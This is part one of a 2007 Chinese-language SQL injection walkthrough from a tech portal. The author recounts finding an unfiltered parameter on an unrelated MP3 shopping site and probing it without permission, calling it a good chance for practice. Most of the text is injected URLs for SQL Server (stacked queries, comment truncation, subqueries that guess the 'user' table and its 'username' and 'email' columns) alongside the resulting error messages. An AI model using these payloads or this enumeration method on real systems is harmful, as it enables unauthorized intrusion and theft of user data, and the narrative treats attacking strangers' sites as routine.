科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网软件频道有孔就入SQL Injection的深入探讨(1)

有孔就入SQL Injection的深入探讨(1)

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

SQL Injection这个话题越来越热了,很多的论坛和hack站点都或多或少地在谈论这个问题,当然也有很多革命前辈写了N多的关于这方面的文章,所利用的也是许多知名的程序

作者:heha 来源:赛迪网技术社区 2007年9月7日

关键字: Injection 数据库 SQL Server SQL Server 各版本

  • 评论
  • 分享微博
  • 分享邮件
 

SQL Injection这个话题越来越热了,很多的论坛和hack站点都或多或少地在谈论这个问题,当然也有很多革命前辈写了N多的关于这方面的文章,所利用的也是许多知名的程序,比如动网,尘缘雅境,而我们也可以拿到免费的程序来看其中的漏洞和数据库的结构,从中来达到注入的目的,不过如果是别人自己写的程序,那么我们就不知道他的源代码,更不知道他的数据库结构(数据表名和其中的字段名),就算有个变量未过滤提交到数据库去,我们也是无从对其下手的,只能利用通过猜解他的数据库结构来构造相应的SQL语句,那么是不是就到此为止,能猜到多少是多少呢?没有做不到的,只有想不到的,我相信这篇文章对研究SQL Injection朋友来说,应该会有所启发。

一、发现漏洞,常规注入

最近帮我们的站增加音乐,虽然本地的电信的音乐资源库非常丰富,但是缺少有关歌手和专辑的资料,所以到网上去闲逛找点有用的图片和歌手简介,通过百度搜索到了一个mp3的音乐超市,里面的资料还是比较丰富的,拷贝的同时顺手在他的Specialid=1817后面加了一个(单引号),我突然眼前一亮:

Microsoft OLE DB Provider for SQL Server 错误 80040e14 
字符串 之前有未闭合的引号。 
/showspecial.asp,行13

Specialid没有过滤掉单引号就直接用到SQL语句中去了,而且是SQL SERVER版本的,漏洞的可利用性极大,可不能就此放过这么好的练兵机会,接着换;(分号)提交进去,居然页面正常出来了,说明该变量也没有过滤掉;号,到这里,我们就可以对此进行SQL渗透了,按照常规的步骤:

1、提交http://********/showspecial.asp?Specialid=1817;use master;--

注:--的作用是注释掉程序中后面的SQL语句,以防对我们构造的语句有影响,比如order by..出现

Microsoft OLE DB Provider for SQL Server 错误 80040e21 
多步 OLE DB 操作产生错误。如果可能,请检查每个 OLE DB 状态值。没有工作被完成。 
/showspecial.asp,行13

想在他的数据库里增加一个管理员是不可能了,我们再换一种方法

2、提交http://********/showspecial.asp?Specialid=1817 and 1<>(select count(id) from [user])

这一句的意思是猜猜看是不是存在一个名为user的表和他里面有没有id这个字段。一般来说:如果不存在该表的话,会出现

Microsoft OLE DB Provider for SQL Server 错误 80040e37 
对象名 user 无效。 
/showspecial.asp,行13

不存在该字段的话,会出现

Microsoft OLE DB Provider for SQL Server 错误 80040e14 
列名 id 无效。 
/showspecial.asp,行13

注:一般来说,第一步是猜一些公共的表,这里所指的公共表的意思是大多数的程序员在写设计数据库结构的时候会用到的常用的表和字段,比如新闻的news表中的编号字段id,标题字段title,用户表user或者user_data中的编号字段id,用户名字段username,当然你也可以在该站点的登陆界面看他的原代码,找到用户名和密码的表单的name值,那个也经常会是表字段名的真实值,如很幸运,果然存在user表和id字段。

3、通过提交http://********/showspecial.asp?Specialid=1817 and 1<>(select count(username) from [user])

这里的username是根据登陆框的表单名去猜的,恰好存在该字段。于是在该站注册了一个用户名为rrrrr的用户,作为注入的平台,得到我的用户名的id值103534

4、继续猜下去,这里我还是利用的他程序中的表单名,提交:

http://********/showspecial.asp?Specialid=1817 and 1<>(select count(email) from [user])

也存在,好了,到这里,我们的平台已经搭建好了。

    • 评论
    • 分享微博
    • 分享邮件
    邮件订阅

    如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

    重磅专题
    往期文章
    最新文章